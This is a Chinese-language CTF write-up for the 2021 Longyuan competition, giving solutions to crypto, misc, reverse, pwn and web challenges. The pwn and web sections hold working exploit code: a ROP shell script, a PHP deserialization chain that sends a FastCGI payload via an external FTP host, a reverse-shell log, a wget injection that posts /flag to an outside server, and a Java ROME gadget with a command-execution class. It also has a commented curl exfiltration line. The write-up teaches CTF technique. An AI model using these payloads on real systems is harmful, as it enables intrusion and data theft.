

陇原战“疫”2021网络安全大赛部分WP

原创

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陇原战"疫"2021网络安全大赛WP

公众号: Th0r安全

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写脚本

```

from gmpy2 import *
from Crypto.Util.number import *

n=12203168613869661959991469076776428609456284211208822531150382601400688603906908319297459971268502782511168485
2235230039182216245029714786480541087105081895339251403738703369399551593882931896392500832061070414483233029067
117410952499655482160104027730462740497347212752269589526267504100262707367020244613503
c1=3944901640373540589234350720074009847758103960597960348477434771438163521192558592481272799140027803189239199
6192354880233130336052873275920425836986816735715003772614138146640312241166362203750473990403841789871473337067
450727600486330723461100602952736232306602481565348834811292749547240619400084712149673
c2=4394140483582027396414209878206104352212535028072936611631194317110868910811444444729551196909010712953018711
9024651382804933594308335681000311125969011096172605146903018110328309963467134604392943061014968838406604211996
322468276744714063735786505249416708394394169324315945145477883438003569372460172268277

e1 = 65536
e2 = 270270
g=gcd(e1,e2)
print(g)
_,s,t=gcdext(e1,e2)

M=pow(c1,s,n)*pow(c2,t,n)%n

for k in range(1000000):

    a=iroot(M+k*n,g)

    if a[1]:

        print(long_to_bytes(a[0]))

        break

```




运行得到SETCTF{now_you_master_common_mode_attack}


MISC

- [soEasyCheckin](#)

玩附件中的mc打掉末影龙之后给了一张图片



发现一串密文：`11F9sACb8BBWKTIClYDtNF2yIEfThXdflGPxF`，from base62解密得到flag



SETCTF{Fi9ht1ng_3lth_V1rUs}

- 打败病毒

下载附件发现base32，解码发现有两个乱码，去掉乱码，base3加密对比附件，发现不属于base32的两个字符0，换成S，数字从2~7依次尝试，发现是5，然后base32解密



接着base16解码发现核心价值观编码



核心价值观解码



SET{Qi2Xin1Xie2Li4-Long3Yuan2Zhan4Yi4}

PWN

- bbbaby

利用功能0把栈溢出检测函数修改为main，这样用1去溢出的时候就还是会回到main，然后泄露libc，最后利用功能0把atoi函数got改为system，getshellexp

```
#!/usr/bin/env python
#coding=utf-8
from pwn import*
r = process('&apos;./qm&apos;')
elf = ELF('&apos;./qm&apos;')
libc = ELF('&apos;/lib/x86_64-linux-gnu/ libc.so.6&apos;')
context(log_level=&apos;debug&apos;,os=&apos;linux&apos;,arch=&apos;amd64&apos;,)
def chocie(c):
    r.recvuntil("choice")
    r.sendline(str(c))

def add(size,content):
    chocie(1)
    r.recvuntil(":".")
    r.sendline(str(size))
    r.recvuntil(":".")
    r.send(content)


def edit(addr,content):
    chocie(0)
    r.recvuntil(":".")
    r.sendline(addr)
    r.recvuntil(":".")
    r.send(content)

pop_rdi_ret = 0x400a03
pop_rsi_r15_ret = 0x400a01
main = 0x40090B
payload = p64(pop_rdi_ret)
payload += p64(elf.got['&apos;puts&apos;'])
payload += p64(elf.plt['&apos;puts&apos;'])
payload += p64(main)
edit(str(0x601020),p64(0x40090B))
yichu(0x200,&apos;A&apos;,&apos;*0x110 + p64(0) + payload)
chocie(5)
chocie(5)
leak = u64(r.recvuntil('&apos;\x7f&apos;')[:-6:].ljust(8,b&apos;\x00&apos;))
libc_base = leak - libc.sym['&apos;puts&apos;']
system = libc_base + libc.sym['&apos;system&apos;']
edit(str(0x601040),p64(system))
r.sendline(b&apos;/bin/sh\x00&apos;')
r.interactive()
```

flag{fe64f4d6-bd04-4bb7-87e5-479efd3b86a5}

- **REVERSE**

下载附件，IDA打开，找了半天发现，直接shift+F12，找字符串，最像MD5的就是



fc5e038d38a57032085441e7fe7010b0

- [findme](#)


异或下就行

```
a = [0xB7, 0x52, 0x85, 0xC1, 0x90, 0xE9, 0x07, 0xB8, 0xE4, 0x1A, 0xC3, 0xBD, 0x1D, 0x8E, 0x85, 0x46, 0x00, 0x21, 0x44, 0xAF, 0xEF, 0x70, 0x32, 0xB5, 0x11, 0xC6]
b = [0xE4, 0x17, 0xD1, 0x82, 0xC4, 0xAF, 0x7C, 0xEC, 0x8C, 0x2B, 0xB0, 0xE2, 0x74, 0xBB, 0xDA, 0x03, 0x32, 0x7E, 0x71, 0xDB, 0xBD, 0x13, 0x5F, 0x8C, 0x30, 0xBB]
for i in range(len(a)):
    print(chr((a[i]^b[i])&0xff),end="")
```

SETCTF{Th1s_i5_E2_5tRcm9!}

- [power](#)

发现关键字，aes 算法



发现有密文和key




直接解密即可

```

from Crypto.Cipher import AES
from Crypto.Util.number import *

key=b'this_is_a_key!!!'
cipher=long_to_bytes(0x1030a9254d44937bed312da03d2db9adbec5762c2eca7b5853e489d2a140427b)
aes=AES.new(key,AES.MODE_ECB)
text=aes.decrypt(cipher)
print(text)

```



flag{y0u_found_the_aes_12113112}

WEB

- eaaasyphp

反序列化链的构造很简单就不提了，正常构造写文件发现应该是不行的，目录应该不可写。给了个Hint类里面提示phpinfo，那打一下phpinfo看一下：

```

class Bypass {
    public function __construct(){
        $this->str4 = "phpinfo";
        $this->feng = new Esle();
    }

    /* public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            //throw new Error("Error");
        }
    }
    */
}

echo urlencode(serialize(new Bypass()));

```

发现有fastcgi，再联想到利用的这里：

```
file_put_contents($this->filename, $this->data);
```

流程按蓝帽杯那题来就行了，不细锁了。先把恶意类的so打过去，把它写在 `/tmp/feng.so`：

[illegible]


```
"data".base64.b64decode(payload)
}
r=requests.post(url=url,params=params,data=data)
```

ftp那边起，nc起，然后payload打过去就行了：

```
<?php

class Check {
    public static $str1 = false;
    public static $str2 = false;
}

class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}

class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }

    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }
    }
}

class Bunny {
    public function __construct(){
        $this->filename="ftp://121.5.169.223:39444/1";
        $this->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%01%04%00%01%01%9C%00%00%11%0BGATEWAY_INTERFACEfastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+feng.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fxml-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00");
    }

    public function __toString()
    {
        if (Check::$str2) {
            if (!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}
```

```

    }
}

class Welcome {
    public function __construct(){
        $this->username = new Bunny();
    }
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {
    public function __construct(){
        $this->str4 = new Welcome();
        $this->feng = new Esle();
    }

    /* public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            //throw new Error("Error");
        }
    }
    */
}

echo urlencode(serialize(new Bypass()));

```

http://cf41a4b5-d2b7-490f-93c5-5b32adf39563 node4 buuoj cn:81/?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A27%3A%22ftp%3A%2F%2F121.5.169.223%3A39444%2F1%22%3Bs%3A4%3A%22data%22%3Bs%3A452%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%9C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+feng s o%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgi%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fxml-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00%22%3B%7D%7Ds%3A4%3A%22feng%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7D%7D

```
root@VM-0-6-ubuntu:~# nc -lwp 39876
Listening on [0.0.0.0] (family 0, port 39876)
Connection from 117.21.200.166 64381 received!
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a4c71746264f:~/html$ ls
ls
index.php
www-data@a4c71746264f:~/html$ cd /
cd /
www-data@a4c71746264f:/$ ls
ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
php.ini
proc
root
run
sbin
srv
sudoers
sys
tmp
usr
var
www-data@a4c71746264f:/$ cat /flag
cat /flag
flag{b483c338-32f1-48a9-819f-72e276607834}
```

- CheckIN

一道Go的代码审计，大致扫一遍应该就知道了，`/wget` 是利用到，但是似乎鉴权没有做：

```
router.GET("/wget", getController)
```

```
func getController(c *gin.Context) {

    cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
    err := cmd.Run()
    if err != nil {
        fmt.Println("error: ", err)
    }

    c.String(http.StatusOK, "Nothing")
}
```

直接能执行命令了，拿wget把flag带出来即可：

```
/wget?argv=1&argv=-post-file&argv=/flag&argv=http://121.5.169.223:39876/
```

```
root@VM-0-6-ubuntu:~# nc -lvp 39876
Listening on [0.0.0.0] (family 0, port 39876)
Connection from 117.21.200.166 37526 received!
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 121.5.169.223:39876
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

flag{88729834-1693-4af8-abba-0ebf6bd84ec2}
```

- ## EasyJaba

给了个反序列化的入口，而且调用了 `toString()` 方法：

```
@ResponseBody
@RequestMapping("/{BackDoor}")
public String BackDoor(@RequestParam(name = "ctf", required = true) String data) throws Exception {
    Set blacklist = new HashSet() {
        {
            this.add("java.util.HashMap");
            this.add("javax.management.BadAttributeValueExpException");
        }
    };
    Object object = null;
    byte[] b = Tool.base64Decode(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    BlacklistObjectInputStream ois = new BlacklistObjectInputStream(inputStream, blacklist);

    try {
        object = ois.readObject();
    } catch (IOException var12) {
        var12.printStackTrace();
    } catch (ClassNotFoundException var13) {
        var13.printStackTrace();
    } finally {
        System.out.println("information:" + object.toString());
    }

    return "calm down....";
}
```

但是有黑名单，看一下pom.xml：

```

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.5.6</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.kyzy.ctf</groupId>
    <artifactId>ezjaba</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>ezjaba</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

```

有个rome显得很突兀，查一下确实有个链可以rce，但是需要用到被ban了的HashMap。但用到HashMap其实只是为了在Gadget中调用到那个toString，但本题已经显示的调用了，所以从网上找POC改一下即可：

```

package com.summer.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import java.xml.transform.Templates;
import java.io.ByteArrayOutputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.util.Base64;

public class Test {

    public static class StaticBlock { }
    public static void main(String[] args) throws Exception {
        byte[][] bytecodes = new byte[][]{Base64.getDecoder().decode("xxx")};

        // 实例化类并设置属性
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templatesimpl, bytecodes);

        Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templatesimpl, "test");

        Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
        fieldTfactory.setAccessible(true);
        fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());

        ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(objectBean1);
        byte[] sss = byteArrayOutputStream.toByteArray();
        out.close();
        String exp = Base64.getEncoder().encodeToString(sss);
        System.out.println(exp.replace("+", "%2b"));
    }
}

```

还是动态加载字节码，关键就是那个恶意类里面要执行的代码该怎么写了。

我先是在本地打通了，远程那边一直没有回显，猜测是不出网，问了一下出题人确实是不出网的。

然后就开始了一下午的不出网回显尝试，尝试了各种奇奇怪怪的东西，什么dns，tomcat的各种内存马，Spring的内存马，等等发现都没打通。。。至于为什么我也不知道，不太会Java，这些东西等以后自己慢慢学到了应该就知道了。

最后是找到了这个东西：

https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java

感觉也不算是内存马吧，就是通过上下文还有反射最终来回显。我一开始也想过就是能不能按照Tomcat的Filter的那种思路（因为刚学过）去获取Request，再想办法获取Response，不是想办法注册Filter了，而是直接把结果回显，但是想了一下网上可能有现成的就一直在找现成的POC没去找这个东西，结果还是错付了。

写个 `Evil.java`：

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.net.InetAddress;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
{
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public Evil() throws Exception{
        Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
        Method m = c.getMethod("getRequestAttributes");
        Object o = m.invoke(null);
        c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
        m = c.getMethod("getResponse");
        Method m1 = c.getMethod("getRequest");
        Object resp = m.invoke(o);
        Object req = m1.invoke(o); // HttpServletRequest
        Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
        Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
        getHeader.setAccessible(true);
        getWriter.setAccessible(true);
        Object writer = getWriter.invoke(resp);
        String cmd = (String)getHeader.invoke(req, "cmd");
        String[] commands = new String[3];
        String charsetName = System.getProperty("os.name").toLowerCase().contains("windows") ? "GBK":"UTF-8";
        if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
            commands[0] = "cmd";
            commands[1] = "/c";
        } else {
            commands[0] = "/bin/sh";
            commands[1] = "-c";
        }
        commands[2] = cmd;
        writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
        writer.getClass().getDeclaredMethod("flush").invoke(writer);
    }
}
```



```

writer.getClass().getDeclaredMethod("close").invoke(writer);
}

// String[] cmd = {"bin/sh", "-c", "curl http://172.16.177.48:39555/ -F file=@/flag"};
//     InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
//     byte[] bcache = new byte[1024];
//     int readSize = 0;
//     try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
//         while ((readSize =in.read(bcache))!= -1){
//             outputStream.write(bcache,0,readSize);
//         }
//         String result = outputStream.toString();
//         InetAddress.getByAddress("1m22164l.ns.dns3.cf.").isReachable(3000);
//     }

// }

//Runtime.getRuntime().exec("sh /tmp/feng");
//}
//catch (Exception ex) {
//    ex.printStackTrace();
//}

```

然后javac编译成class，然后 `cat Evil.class|base64 -w 0`，再把这段base64扔到上面的那个代码里面的 `byte[] bytecodes = new byte[]`
`{Base64.getDecoder().decode()};`，生成payload，然后打过去就回显了：

